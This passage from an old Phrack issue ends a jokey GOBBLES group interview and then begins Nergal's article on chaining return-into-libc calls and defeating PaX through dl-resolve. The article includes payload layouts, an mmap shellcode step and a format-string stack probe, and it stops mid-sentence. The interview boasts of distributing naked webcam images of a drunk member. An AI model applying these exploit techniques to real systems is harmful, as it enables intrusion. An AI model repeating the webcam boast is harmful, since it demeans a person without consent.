To which kind of music does Gobbles Security listen ?
Right now the multiple cd player jukebox in GOBBLES Labs have cd's
(compact disc for penetrator confusing cd with chdir) from following
bands and artists:
-Radiohead
-Tori Amos
-The Violent Femmes
-KMFDM
-Goo Goo Dolls
-Savage Garden
-The Djali Zwan
-Dmitri Shostakovich
-Smashing Pumpkins
-Ace of Base
-They Might Be Giants
-Various Disney Soundtracks and Sing-a-long's
so you get an idea of different genre's that are liked by people who
occupy GOBBLES Labs facility, hehe.
Does Gobbles Security like the movies 'Chicken run' and/or was any
relative actively involved in the movie ?
GOBBLES didn't really understand movie on his own, and consensus from
other group members is that the movie was not very good. GOBBLES spent
the whole movie trying to identify celebrities with they cartoon
characters instead of paying close attention to complex plot, so it can be
understood why GOBBLES didn't really follow and understand the story of
that movie.
How many employees does 'Gobbles Security' currently have ?
GOBBLES Security is not a for-profit group and does not have any income
or employees. Everyone who come to GOBBLES Labs to do coding and exploit
bring own computers and materials and alcohol, there is no money involved
so there are not any employees. GOBBLES Labs have 19 active members and
researchers. With 18+ members, GOBBLES Labs is currently the largest
active non-profit security team in the world (that not private and
exclusive with research, of course there is larger private group in
existance that GOBBLES not ignorant of). Unlike other groups that make
this claim, GOBBLES Labs is actually active, hehe.
Are there stocks available from 'Gobbles Security' ?
Hehe, no, because remember we not a commercial organisation? =) GOBBLES
believe that security should not be huge commercial entity anyways and
miss the days when people who were knowledgable about security were
respected and looked to for security information rather than people with
certification like CISSP who qualified to use Nessus in corporate
environment and notify they companies of updates on cert.org website.
Is there any buisiness plan (current projects ?) of Gobbles Security
for 2002 ?
GOBBLES have no business plan, since GOBBLES Security is not a business,
just more of a club, and GOBBLES hope to keep it that way forever. If the
big dollar is ever waived in GOBBLES face like happen to other good
non-profit security group, GOBBLES will refuse to snatch it and keep
GOBBLES Labs independant and free always.
Where did Gobbles Security learn english ?
GOBBLES Security is a multinational group and members have learned they
English in many different places, some speak it natively, or at least
American which is very similar to English from what GOBBLES can
deduce. GOBBLES learn English from Extreme Calculus professor in
university who say to GOBBLES, "GOBBLES if you to go anywhere in life, you
must learn to speak English, here I will help." That is true story of how
GOBBLES learn to speak this wonderful language, hehe.
Have you heard of anti-security and what is your opinion to
http://anti.security.is ?
Yes GOBBLES have seen they website before and read message board very
frequently. GOBBLES think anti.security.is have many good ideas on
security, since it seem that sometimes disclosure is not best since all it
really do is contribute to system being comprimised. GOBBLES recall
reading somewhere that still only 30% of servers are patched for CORE-SDI
ssh backdoor still, and that known almost for a year now, so sometimes
GOBBLES wonder why disclosure is even done in the first place if no one
really pay attention to advisory and fix security. However this is not
the policy of GOBBLES Security who are firm supporters of Information
Anarchy and Jay Dyson's quote "Real men prefer full disclosure", although
some GOBBLES researchers are very loyal to anti.security.is philosophy
which is why you do not see all exploits written by GOBBLES Security
members since we respect they wishes. GOBBLES have many respect for
ideals of anti.security.is and often wonders what really is best to
improve state of security on the Internet, but still he decide that it is
Information Anarchy.
What does Gobbles Security think about Theo de Raadt ?
GOBBLES think Theo is silly individual who think brilliant research and
revelation of removing machine from network make it secure from network
based attacks and therefor inpenetrable, because then what is the real use
of that workstation when it not on a network and can't access
anything? GOBBLES think Theo attempt to banish all networking in name of
security is idiotic idea and GOBBLES really not a big fan of his for this
sorts of things.
And about Aleph1 and bugtraq ?
The Aleph1 is old friend of GOBBLES (but not someone the Aleph1 know as
GOBBLES, hehe) and is someone that GOBBLES very much likes. In question
GOBBLES assume that bugtraq == securityfocus.com, so that how GOBBLES
shall answer the question. GOBBLES not a very big fan of securityfocus
itself for way it do delayed disclosure, for way it claim to be full
disclosure, but then make people have to pay to see good advisories first
(holding information hostage probably not best practice for full
disclosure), for filtering important security advisories because
advisories have comments in that hurt pride of securityfocus staff
member. If it were real intentions of securityfocus to help in security
process, GOBBLES think that they would pass important advisories through,
but know from experience that many will be filtered for silly
reason. When securityfocus say, "hey, we will run mailing lists" they
should have also let everyone know that they had intention of profitting
off list and selling information rather than keeping them in original
form, GOBBLES is bothered by level of deceit there. But as for does
GOBBLES like the Aleph1, the answer is YES, GOBBLES do like the
Aleph1. In fact GOBBLES have open invitation to him (and mudge and
dildog) to leave they high paying jobs and the dark side of the force to
join back where they know they want to be, in they hearts, back in the
real security community where you don't have to shave you beard and give
out real name; always extra room for them as members in GOBBLES Security
if they ever decide to reform.
Does Gobbles Security consider other groups like ADM, LSD, TESO as
competitors or as friends ?
GOBBLES Security think of those group as brothers and sisters, not as
competitors.
In which way will Gobbles Security infuence the scene in the future ?
Well GOBBLES have the hope of helping rebirth of real security scene
where the world can know who the people are who have real security
knowledge are not the point and click penetrator testers and patch
applicators who make the big dollar, and hopefully someday in future there
will be not so much commercialization of computer security and thing can
return back to normal and the scene can exist again once more.
Write down 'Memorable Experiences':
One time #GOBBLES on irc was taken over by prominant irc takeover gang
which is very memorable experience for the whole GOBBLES Security
Crew. Some things that stuck with GOBBLES from incident include:
<route> gogogogo
<route> OK, newsh fork over the opz
<route> word
<route> ok listen up motherfuckerz
<route> u will get yer chan back when i see fit
<route> mmkay?
<route> now, who'z the fuckwit who insulted me in that yahoo messenger
advisory?
<route> you mess with libnet, you mess with death motherfuckerz!
[ note by phrackstaff: The above log isn't from the real route. ]
Other very memorable experience was last week at GOBBLES Labs where
Alicia became over intoxicated by alcohol from boxed wine (speaking of
alcohol, Mr. Huger promise to bring GOBBLES back some good wine from he
Canada trip, GOBBLES better get it Al!) during exploit coding session and
then took off all her clothes. Needless to say male GOBBLES members were
embarassed at the mess they made. GOBBLES swear this true story, not just
humor, even some pictures of naked Alicia captured on webcam broadcast
with tcpdump soon to be made into mpeg, hehe!
Write down some Quotes:
"Opensource software has a future."
-Sir William Gates
"What goes around comes around."
-Anonymous
"That vulnerability is completly TheoRaadtical."
-Microsoft
"A preauthentication bug in OpenSSH? Who hasn't found one of those?"
-OpenSSH Developer
"No I wasn't caught on video jerking off at defcon 9!"
-Peter Shipley
"If one XOR is good TWICE IS BETTER."
-Peiter Zatko
In closing GOBBLES would like to thank Phrack and Phrack Staff for
awarding GOBBLES this Man of the Year Award, GOBBLES very flattered to not
only be nominated but also to be winner of award! GOBBLES LOVE YOU!
|=[ EOF ]=---------------------------------------------------------------=|
==Phrack Inc.==
Volume 0x0b, Issue 0x3a, Phile #0x04 of 0x0e
|=------------=[ The advanced return-into-lib(c) exploits: ]=------------=|
|=------------------------=[ PaX case study ]=---------------------------=|
|=-----------------------------------------------------------------------=|
|=----------------=[ by Nergal <nergal@owl.openwall.com> ]=--------------=|
May this night carry my will
And may these old mountains forever remember this night
May the forest whisper my name
And may the storm bring these words to the end of all worlds
Ihsahn, "Alsvartr"
--[ 1 - Intro
1 - Intro
2 - Classical return-into-libc
3 - Chaining return-into-libc calls
3.1 - Problems with the classical approach
3.2 - "esp lifting" method
3.3 - frame faking
3.4 - Inserting null bytes
3.5 - Summary
3.6 - The sample code
4 - PaX features
4.1 - PaX basics
4.2 - PaX and return-into-lib exploits
4.3 - PaX and mmap base randomization
5 - The dynamic linker's dl-resolve() function
5.1 - A few ELF data types
5.2 - A few ELF data structures
5.3 - How dl-resolve() is called from PLT
5.4 - The conclusion
6 - Defeating PaX
6.1 - Requirements
6.2 - Building the exploit
7 - Misc
7.1 - Portability
7.2 - Other types of vulnerabilities
7.3 - Other non-exec solutions
7.4 - Improving existing non-exec schemes
7.5 - The versions used
8 - Referenced publications and projects
This article can be roughly divided into two parts. First, the
advanced return-into-lib(c) techniques are described. Some of the presented
ideas, or rather similar ones, have already been published by others.
However, the available pieces of information are dispersed, usually
platform-specific, somewhat limited, and the accompanying source code is not
instructive enough (or at all). Therefore I have decided to assemble the
available bits and a few of my thoughts into a single document, which should
be useful as a convenient reference. Judging by the contents of many posts
on security lists, the presented information is by no means the common
knowledge.
The second part is devoted to methods of bypassing PaX in case of
stack buffer overflow (other types of vulnerabilities are discussed at the
end). The recent PaX improvements, namely randomization of addresses the
stack and the libraries are mmapped at, pose an untrivial challenge for an
exploit coder. An original technique of calling directly the dynamic linker's
symbol resolution procedure is presented. This method is very generic and the
conditions required for successful exploitation are usually satisfied.
Because PaX is Intel platform specific, the sample source code has been
prepared for Linux i386 glibc systems. PaX is not considered sufficiently
stable by most people; however, the presented techniques (described for
Linux on i386 case) should be portable to other OSes/architectures and can
be possibly used to evade other non-executability schemes, including ones
implemented by hardware.
The reader is supposed to possess the knowledge on standard exploit
techniques. Articles [1] and [2] should probably be assimilated before
further reading. [12] contains a practical description of ELF internals.
--[ 2 - Classical return-into-libc
The classical return-into-libc technique is well described in [2], so
just a short summary here. This method is most commonly used to evade
protection offered by the non-executable stack. Instead of returning into
code located within the stack, the vulnerable function should return into a
memory area occupied by a dynamic library. It can be achieved by
overflowing a stack buffer with the following payload:
<- stack grows this way
addresses grow this way ->
------------------------------------------------------------------
| buffer fill-up(*)| function_in_lib | dummy_int32 | arg_1 | arg_2 | ...
------------------------------------------------------------------
^
|
- this int32 should overwrite saved return address
of a vulnerable function
(*) buffer fill-up should overwrite saved %ebp placeholder as well, if the
latter is used
When the function containing the overflown buffer returns, the
execution will resume at function_in_lib, which should be the address of a
library function. From this function's point of view, dummy_int32 will be the
return address, and arg_1, arg_2 and the following words - the arguments.
Typically, function_in_lib will be the libc system() function address, and
arg_1 will point to "/bin/sh".
--[ 3 - Chaining return-into-libc calls
----[ 3.1 - Problems with the classical approach
The previous technique has two essential limitations. First, it is
impossible to call another function, which requires arguments, after
function_in_lib. Why ? When the function_in_lib returns, the execution will
resume at address dummy_int32. Well, it can be another library function,
yet its arguments would have to occupy the same place that
function_in_lib's argument does. Sometimes this is not a problem (see [3]
for a generic example).
Observe that the need for more than one function call is frequent. If
a vulnerable application temporarily drops privileges (for example, a
setuid application can do seteuid(getuid())), an exploit must regain
privileges (with a call to setuid(something) usually) before calling
system().
The second limitation is that the arguments to function_in_lib cannot
contain null bytes (in case of a typical overflow caused by string
manipulation routines). There are two methods to chain multiple library
calls.
----[ 3.2 - "esp lifting" method
This method is designed for attacking binaries compiled with
-fomit-frame-pointer flag. In such case, the typical function epilogue
looks this way:
eplg:
addl $LOCAL_VARS_SIZE,%esp
ret
Suppose f1 and f2 are addresses of functions located in a library. We build
the following overflow string (I have skipped buffer fill-up to save space):
<- stack grows this way
addresses grow this way ->
---------------------------------------------------------------------------
| f1 | eplg | f1_arg1 | f1_arg2 | ... | f1_argn| PAD | f2 | dmm | f2_args...
---------------------------------------------------------------------------
^ ^ ^
| | |
| | <---------LOCAL_VARS_SIZE------------->|
|
|-- this int32 should overwrite return address
of a vulnerable function
PAD is a padding (consisting of irrelevant nonzero bytes), whose
length, added to the amount of space occupied by f1's arguments, should equal
LOCAL_VARS_SIZE.
How does it work ? The vulnerable function will return into f1, which
will see arguments f1_arg, f1_arg2 etc - OK. f1 will return into eplg. The
"addl $LOCAL_VARS_SIZE,%esp" instruction will move the stack pointer by
LOCAL_VARS_SIZE, so that it will point to the place where f2 address is
stored. The "ret" instruction will return into f2, which will see arguments
f2_args. Voila. We called two functions in a row.
The similar technique was shown in [5]. Instead of returning into a
standard function epilogue, one has to find the following sequence of
instructions in a program (or library) image:
pop-ret:
popl any_register
ret
Such a sequence may be created as a result of a compiler optimization of a
standard epilogue. It is pretty common.
Now, we can construct the following payload:
<- stack grows this way
addresses grow this way ->
------------------------------------------------------------------------------
| buffer fill-up | f1 | pop-ret | f1_arg | f2 | dmm | f2_arg1 | f2_arg2 ...
------------------------------------------------------------------------------
^
|
- this int32 should overwrite return address
of a vulnerable function
It works very similarly to the previous example. Instead of moving
the stack pointer by LOCAL_VARS_SIZE, we move it by 4 bytes with the
"popl any_register" instruction. Therefore, all arguments passed to f1 can
occupy at most 4 bytes. If we found a sequence
pop-ret2:
popl any_register_1
popl any_register_2
ret
then we could pass to f1 two arguments of 4 bytes size each.
The problem with the latter technique is that it is usually
impossible to find a "pop-ret" sequence with more than three pops.
Therefore, from now on we will use only the previous variation.
In [6] one can find similar ideas, unfortunately with some
errors and chaoticly explained.
Note that we can chain an arbitrary number of functions this way. Another
note: observe that we do not need to know the exact location of our payload
(that is, we don't need to know the exact value of the stack pointer). Of
course, if any of the called functions requires a pointer as an argument,
and if this pointer should point within our payload, we will need to know
its location.
----[ 3.3 - frame faking (see [4])
This second technique is designed to attack programs compiled
_without_ -fomit-frame-pointer option. An epilogue of a function in such a
binary looks like this:
leaveret:
leave
ret
Regardless of optimization level used, gcc will always prepend "ret" with
"leave". Therefore, we will not find in such binary an useful "esp lifting"
sequence (but see later the end of 3.5).
In fact, sometimes the libgcc.a archive contains objects compiled with
-fomit-frame-pointer option. During compilation, libgcc.a is linked into an
executable by default. Therefore it is possible that a few "add $imm,
%esp; ret" sequences can be found in an executable. However, we will not
%rely on this gcc feature, as it depends on too many factors (gcc version,
compiler options used and others).
Instead of returning into "esp lifting" sequence, we will return
into "leaveret". The overflow payload will consist of logically separated
parts; usually, the exploit code will place them adjacently.
<- stack grows this way
addresses grow this way ->
saved FP saved vuln. function's return address
--------------------------------------------
| buffer fill-up(*) | fake_ebp0 | leaveret |
-------------------------|------------------
|
+---------------------+ (*) this time, buffer fill-up must not
| overwrite the saved frame pointer !
v
-----------------------------------------------
| fake_ebp1 | f1 | leaveret | f1_arg1 | f1_arg2 ...
-----|-----------------------------------------
| the first frame
+-+
|
v
------------------------------------------------
| fake_ebp2 | f2 | leaveret | f2_arg1 | f2_argv2 ...
-----|------------------------------------------
| the second frame
+-- ...
fake_ebp0 should be the address of the "first frame", fake_ebp1 - the
address of the second frame, etc.
Now, some imagination is needed to visualize the flow of execution.
1) The vulnerable function's epilogue (that is, leave;ret) puts fake_ebp0
into %ebp and returns into leaveret.
2) The next 2 instructions (leave;ret) put fake_ebp1 into %ebp and
return into f1. f1 sees appropriate arguments.
3) f1 executes, then returns.
Steps 2) and 3) repeat, substitute f1 for f2,f3,...,fn.
In [4] returning into a function epilogue is not used. Instead, the
author proposed the following. The stack should be prepared so that the
code would return into the place just after F's prologue, not into the
function F itself. This works very similarly to the presented solution.
However, we will soon face the situation when F is reachable only via PLT.
In such case, it is impossible to return into the address F+something; only
the technique presented here will work. (BTW, PLT acronym means "procedure
linkage table". This term will be referenced a few times more; if it does
not sound familiar, have a look at the beginning of [3] for a quick
introduction or at [12] for a more systematic description).
Note that in order to use this technique, one must know the precise
location of fake frames, because fake_ebp fields must be set accordingly.
If all the frames are located after the buffer fill-up, then one must know
the value of %esp after the overflow. However, if we manage somehow to put
fake frames into a known location in memory (in a static variable
preferably), there is no need to guess the stack pointer value.
There is a possibility to use this technique against programs
compiled with -fomit-frame-pointer. In such case, we won't find leave&ret
code sequence in the program code, but usually it can be found in the
startup routines (from crtbegin.o) linked with the program. Also, we must
change the "zeroth" chunk to
-------------------------------------------------------
| buffer fill-up(*) | leaveret | fake_ebp0 | leaveret |
-------------------------------------------------------
^
|
|-- this int32 should overwrite return address
of a vulnerable function
Two leaverets are required, because the vulnerable function will not
set up %ebp for us on return. As the "fake frames" method has some advantages
over "esp lifting", sometimes it is necessary to use this trick even when
attacking a binary compiled with -fomit-frame-pointer.
----[ 3.4 - Inserting null bytes
One problem remains: passing to a function an argument which
contains 0. But when multiple function calls are available, there is a
simple solution. The first few called functions should insert 0s into the
place occupied by the parameters to the next functions.
Strcpy is the most generic function which can be used. Its second
argument should point to the null byte (located at some fixed place,
probably in the program image), and the first argument should point to the
byte which is to be nullified. So, thus we can nullify a single byte per a
function call. If there is need to zero a few int32 location, perhaps other
solutions will be more space-effective. For example,
sprintf(some_writable_addr,"%n%n%n%n",ptr1, ptr2, ptr3, ptr4); will nullify
a byte at some_writable_addr and nullify int32 locations at ptr1, ptr2,
ptr3, ptr4. Many other functions can be used for this purpose, scanf being
one of them (see [5]).
Note that this trick solves one potential problem. If all libraries
are mmapped at addresses which contain 0 (as in the case of Solar
Designer non-exec stack patch), we can't return into a library directly,
because we can't pass null bytes in the overflow payload. But if strcpy (or
sprintf, see [3]) is used by the attacked program, there will be the
appropriate PLT entry, which we can use. The first few calls should be the
calls to strcpy (precisely, to its PLT entry), which will nullify not the
bytes in the function's parameters, but the bytes in the function address
itself. After this preparation, we can call arbitrary functions from
libraries again.
----[ 3.5 - Summary
Both presented methods are similar. The idea is to return from a
called function not directly into the next one, but into some function
epilogue, which will adjust the stack pointer accordingly (possibly with
the help of the frame pointer), and transfer the control to the next
function in the chain.
In both cases we looked for an appropriate epilogue in the
executable body. Usually, we may use epilogues of library functions as
well. However, sometimes the library image is not directly reachable. One
such case has already been mentioned (libraries can be mmapped at addresses
which contain a null byte), we will face another case soon. Executable's
image is not position independent, it must be mmapped at a fixed location
(in case of Linux, at 0x08048000), so we may safely return into it.
----[ 3.6 - The sample code
The attached files, ex-move.c and ex-frames.c, are the exploits for
vuln.c program. The exploits chain a few strcpy calls and a mmap call. The
additional explanations are given in the following chapter (see 4.2);
anyway, one can use these files as templates for creating return-into-lib
exploits.
--[ 4 - PaX features
----[ 4.1 - PaX basics
If you have never heard of PaX Linux kernel patch, you are advised to
visit the project homepage [7]. Below there are a few quotations from the
PaX documentation.
"this document discusses the possibility of implementing non-executable
pages for IA-32 processors (i.e. pages which user mode code can read or
write, but cannot execute code in). since the processor's native page
table/directory entry format has no provision for such a feature, it is
a non-trivial task."
"[...] there is a desire to provide some sort of programmatic way for
protecting against buffer overflow based attacks. one such idea is the
implementation of non-executable pages which eliminates the possibility
of executing code in pages which are supposed to hold data only[...]"
"[...] possible to write [kernel mode] code which will cause an
inconsistent state in the DTLB and ITLB entries.[...] this very same
mechanism would allow for creating another kind of inconsistent state
where only data read/write accesses would be allowed and code execution
prohibited. and this is what is needed for protecting against (many)
buffer overflow based attacks."
To sum up, a buffer overflow exploit usually tries to run code smuggled
within some data passed to the attacked process. The main PaX functionality
is to disallow execution of all data areas - thus PaX renders typical
exploit techniques useless.
--[ 4.2 - PaX and return-into-lib exploits
Initially, non-executable data areas was the only feature of PaX. As
you may have already guessed, it is not enough to stop return-into-lib
exploits. Such exploits run code located within libraries or binary itself -
the perfectly "legitimate" code. Using techniques described in chapter 3,
one is able to run multiple library functions, which is usually more than
enough to take advantage of the exploited program's privileges.
Even worse, the following code will run successfully on a PaX protected
system:
char shellcode[] = "arbitrary code here";
mmap(0xaa011000, some_length, PROT_EXEC|PROT_READ|PROT_WRITE,
MAP_FIXED|MAP_PRIVATE|MAP_ANON, -1, some_offset);
strcpy(0xaa011000+1, shellcode);
return into 0xaa011000+1;
A quick explanation: mmap call will allocate a memory region at
0xaa011000. It is not related to any file object, thanks to the MAP_ANON
flag, combined with the file descriptor equal to -1. The code located at
0xaa011000 can be executed even on PaX (because PROT_EXEC was set in mmap
arguments). As we see, the arbitrary code placed in "shellcode" will be
executed.
Time for code examples. The attached file vuln.c is a simple program
with an obvious stack overflow. Compile it with:
$ gcc -o vuln-omit -fomit-frame-pointer vuln.c
$ gcc -o vuln vuln.c
The attached files, ex-move.c and ex-frames.c, are the exploits for
vuln-omit and vuln binaries, respectively. Exploits attempt to run a
sequence of strcpy() and mmap() calls. Consult the comments in the
README.code for further instructions.
If you plan to test these exploits on a system protected with recent
version of PaX, you have to disable randomizing of mmap base with
$ chpax -r vuln; chpax -r vuln-omit
----[ 4.3 - PaX and mmap base randomization
In order to combat return-into-lib(c) exploits, a cute feature was
added to PaX. If the appropriate option (CONFIG_PAX_RANDMMAP) is set during
kernel configuration, the first loaded library will be mmapped at random
location (next libraries will be mmapped after the first one). The same
applies to the stack. The first library will be mmapped at
0x40000000+random*4k, the stack top will be equal to 0xc0000000-random*16;
in both cases, "random" is a pseudo random unsigned 16-bit integer,
obtained with a call to get_random_bytes(), which yields cryptographically
strong data.
One can test this behavior by running twice "ldd some_binary"
command or executing "cat /proc/$/maps" from within two invocations of a
shell. Under PaX, the two calls yield different results:
nergal@behemoth 8 > ash
$ cat /proc/$/maps
08048000-08058000 r-xp 00000000 03:45 77590 /bin/ash
08058000-08059000 rw-p 0000f000 03:45 77590 /bin/ash
08059000-0805c000 rw-p 00000000 00:00 0
4b150000-4b166000 r-xp 00000000 03:45 107760 /lib/ld-2.1.92.so
4b166000-4b167000 rw-p 00015000 03:45 107760 /lib/ld-2.1.92.so
4b167000-4b168000 rw-p 00000000 00:00 0
4b16e000-4b289000 r-xp 00000000 03:45 107767 /lib/libc-2.1.92.so
4b289000-4b28f000 rw-p 0011a000 03:45 107767 /lib/libc-2.1.92.so
4b28f000-4b293000 rw-p 00000000 00:00 0
bff78000-bff7b000 rw-p ffffe000 00:00 0
$ exit
nergal@behemoth 9 > ash
$ cat /proc/$/maps
08048000-08058000 r-xp 00000000 03:45 77590 /bin/ash
08058000-08059000 rw-p 0000f000 03:45 77590 /bin/ash
08059000-0805c000 rw-p 00000000 00:00 0
48b07000-48b1d000 r-xp 00000000 03:45 107760 /lib/ld-2.1.92.so
48b1d000-48b1e000 rw-p 00015000 03:45 107760 /lib/ld-2.1.92.so
48b1e000-48b1f000 rw-p 00000000 00:00 0
48b25000-48c40000 r-xp 00000000 03:45 107767 /lib/libc-2.1.92.so
48c40000-48c46000 rw-p 0011a000 03:45 107767 /lib/libc-2.1.92.so
48c46000-48c4a000 rw-p 00000000 00:00 0
bff76000-bff79000 rw-p ffffe000 00:00 0
CONFIG_PAX_RANDMMAP feature makes it impossible to simply return
into a library. The address of a particular function will be different each
time a binary is run.
This feature has some obvious weaknesses; some of them can (and should
be) fixed:
1) In case of a local exploit the addresses the libraries and the
stack are mmapped at can be obtained from the world-readable
/proc/pid_of_attacked_process/maps pseudofile. If the data overflowing the
buffer can be prepared and passed to the victim after the victim process
has started, an attacker has all information required to construct the
overflow data. For example, if the overflowing data comes from program
arguments or environment, a local attacker loses; if the data comes from
some I/O operation (socket, file read usually), the local attacker wins.
Solution: restrict access to /proc files, just like it is done in many
other security patches.
2) One can bruteforce the mmap base. Usually (see the end of 6.1) it
is enough to guess the libc base. After a few tens of thousands tries, an
attacker has a fair chance of guessing right. Sure, each failed attempt is
logged, but even large amount of logs at 2 am prevent nothing :) Solution:
deploy segvguard [8]. It is a daemon which is notified by the kernel each
time a process crashes with SIGSEGV or similar. Segvguard is able to
temporarily disable execution of programs (which prevents bruteforcing),
and has a few interesting features more. It is worth to use it even without
PaX.
3) The information on the library and stack addresses can leak due to
format bugs. For example, in case of wuftpd vulnerability, one could explore
the stack with the command
site exec [eat stack]%x.%x.%x...
The automatic variables' pointers buried in the stack will reveal the stack
base. The dynamic linker and libc startup routines leave on the stack some
pointers (and return addresses) to the library objects, so it is possible
to deduce the libraries base as well.
4) Sometimes, one can find a suitable function in an attacked binary
(which is not position-independent and can't be mmapped randomly). For
example, "su" has a function (called after successful authentication) which
acquires root privileges and executes a shell - nothing more is needed.
5) All library functions used by a vulnerable program can be called
via their PLT entry. Just like the binary, PLT must be present at a fixed
address. Vulnerable programs are usually large and call many functions, so
there is some probability of finding interesting stuff in PLT.
In fact only the last three problems cannot be fixed, and none of
them is guaranteed to manifest in a manner allowing successful exploitation
(the fourth is very rare). We certainly need more generic methods.
In the following chapter I will describe the interface to the dynamic
linker's dl-resolve() function. If it is passed appropriate arguments, one
of them being an asciiz string holding a function name, it will determine
the actual function address. This functionality is similar to dlsym()
function. Using the dl-resolve() function, we are able to build a
return-into-lib exploit, which will return into a function, whose address
is not known at exploit's build time. [12] also describes a method of
acquiring a function address by its name, but the presented technique is
useless for our purposes.
--[ 5 - The dynamic linker's dl-resolve() function
This chapter is simplified as much as possible. For the
detailed description, see [9] and glibc sources, especially the file
dl-runtime.c. See also [12].
----[ 5.1 - A few ELF data types
The following definitions are taken from the include file elf.h:
typedef uint32_t Elf32_Addr;
typedef uint32_t Elf32_Word;
typedef struct
{
Elf32_Addr r_offset; /* Address */
Elf32_Word r_info; /* Relocation type and symbol index */
} Elf32_Rel;
/* How to extract and insert information held in the r_info field. */
#define ELF32_R_SYM(val) ((val) >> 8)
#define ELF32_R_TYPE(val) ((val) & 0xff)
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility under glibc>=2.2 */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;
The fields st_size, st_info and st_shndx are not used during symbol
resolution.
----[ 5.2 - A few ELF data structures
The ELF executable file contains a few data structures (arrays
mainly) which are of some interest for us. The location of these structures
can be retrieved from the executable's dynamic section. "objdump -x file"
will display the contents of the dynamic section:
$ objdump -x some_executable
... some other interesting stuff...
Dynamic Section:
...
STRTAB 0x80484f8 the location of string table (type char *)
SYMTAB 0x8048268 the location of symbol table (type Elf32_Sym*)
....
JMPREL 0x8048750 the location of table of relocation entries
related to PLT (type Elf32_Rel*)
...
VERSYM 0x80486a4 the location of array of version table indices
(type uint16_t*)
"objdump -x" will also reveal the location of .plt section, 0x08048894 in
the example below:
11 .plt 00000230 08048894 08048894 00000894 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
----[ 5.3 - How dl-resolve() is called from PLT
A typical PLT entry (when elf format is elf32-i386) looks this way:
(gdb) disas some_func
Dump of assembler code for function some_func:
0x804xxx4 <some_func>: jmp *some_func_dyn_reloc_entry
0x804xxxa <some_func+6>: push $reloc_offset
0x804xxxf <some_func+11>: jmp beginning_of_.plt_section
PLT entries differ only by $reloc_offset value (and the value of
some_func_dyn_reloc_entry, but the latter is not used for the symbol
resolution algorithm).
As we see, this piece of code pushes $reloc_offset onto the stack
and jumps at the beginning of .plt section. After a few instructions, the
control is passed to dl-resolve() function, reloc_offset being one of its
arguments (the second one, of type struct link_map *, is irrelevant for us).
The following is the simplified dl-resolve() algorithm:
1) calculate some_func's relocation entry
Elf32_Rel * reloc = JMPREL + reloc_offset;
2) calculate some_func's symtab entry
Elf32_Sym * sym = &SYMTAB[ ELF32_R_SYM (reloc->r_info) ];
3) sanity check
assert (ELF32_R_TYPE(reloc->r_info) == R_386_JMP_SLOT);
4) late glibc 2.1.x (2.1.92 for sure) or newer, including 2.2.x, performs
another check. if sym->st_other & 3 != 0, the symbol is presumed to have
been resolved before, and the algorithm goes another way (and probably
ends with SIGSEGV in our case). We must ensure that sym->st_other &
3 == 0.
5) if symbol versioning is enabled (usually is), determine the version table
index
uint16_t ndx = VERSYM[ ELF32_R_SYM (reloc->r_info) ];
and find version information
const struct r_found_version *version =&l->l_versions[ndx];
where l is the link_map parameter. The important part here is that ndx must
be a legal value, preferably 0, which means "local symbol".
6) the function name (an asciiz string) is determined:
name = STRTAB + sym->st_name;
7) The gathered information is sufficient to determine some_func's address.
The results are cached in two variables of type Elf32_Addr, located at
reloc->r_offset and sym->st_value.
8) The stack pointer is adjusted, some_func is called.
Note: in case of glibc, this algorithm is performed by the fixup() function,
called by dl-runtime-resolve().
----[ 5.4 - The conclusion
Suppose we overflow a stack buffer with the following payload
--------------------------------------------------------------------------
| buffer fill-up | .plt start | reloc_offset | ret_addr | arg1 | arg2 ...
--------------------------------------------------------------------------
^
|
- this int32 should overwrite saved return address
of a vulnerable function
If we prepare appropriate sym and reloc variables (of type Elf32_Sym
and Elf32_Rel, respectively), and calculate appropriate reloc_offset, the
control will be passed to the function, whose name is found at
STRTAB + sym->st_name (we control it of course). Arguments arg1, arg2 will
be placed appropriately, and still we have opportunity to return into
another function (ret_addr).
The attached dl-resolve.c is a sample code which implements the
described technique. Beware, you have to compile it twice (see the comments
in the README.code).
--[ 6 - Defeating PaX
----[ 6.1 - Requirements
In order to use the "ret-into-dl" technique described in chapter 5,
we need to position a few structures at appropriate locations. We will need
a function, which is capable of moving bytes to a selected place. The
obvious choice is strcpy; strncpy, sprintf or similar would do as well. So,
just like in [3], we will require that there is a PLT entry for strcpy in
an attacked program's image.
"Ret-into-dl" solves a problem with randomly mmapped libraries;
however, the problem of the stack remains. If the overflow payload resides
on the stack, its address will be unknown, and we will be unable to insert
0s into it with strcpy (see 3.3). Unfortunately, I haven't come up with a
generic solution (anyone?). Two methods are possible:
1) if scanf() function is available in PLT, we may try to execute something
like
scanf("%s\n",fixed_location)
which will copy from stdin appropriate payload into fixed_location. When
using "fake frames" technique, the stack frames can be disjoint, so we
will be able to use fixed_location as frames.
2) if the attacked binary is compiled with -fomit-frame-pointer, we can
chain multiple strcpy calls with the "esp lifting" method even if %esp
is unknown (see the note at the end of 3.2). The nth strcpy would have
the following arguments:
strcpy(fixed_location+n, a_pointer_within_program_image)
This way we can construct, byte by byte, appropriate frames at
fixed_location. When it is done, we switch from "esp lifting" to "fake
frames" with the trick described at the end of 3.3.
More similar workarounds can be devised, but in fact they usually
will not be needed. It is very likely that even a small program will copy
some user-controlled data into a static or malloced variable, thus saving
us the work described above.
To sum up, we will require two (fairly probable) conditions to be met:
6.1.1) strcpy (or strncpy, sprintf or similar) is available via PLT
6.1.2) during normal course of execution, the attacked binary copies
user-provided data into a static (preferably) or malloced variable.
----[ 6.2 - Building the exploit
We will try to emulate the code in dl-resolve.c sample exploit. When
a rwx memory area is prepared with mmap (we will call mmap with the help of
ret-into-dl), we will strcpy the shellcode there and return into the copied
shellcode. We discuss the case of the attacked binary having been compiled
without -fomit-frame-pointer and the "frame faking" method.
We need to make sure that three related structures are placed properly:
1) Elf32_Rel reloc
2) Elf32_Sym sym
3) unsigned short verind (which should be 0)
How the addresses of verind and sym are related ? Let's assign to
"real_index" the value of ELF32_R_SYM (reloc->r_info); then
sym is at SYMTAB+real_index*sizeof(Elf32_Sym)
verind is at VERSYM+real_index*sizeof(short)
It looks natural to place verind at some place in .data or .bss section
and nullify it with two strcpy calls. Unfortunately, in such case
real_index tends to be rather large. As sizeof(Elf32_Sym)=16, which is
larger than sizeof(short), sym would likely be assigned the address beyond
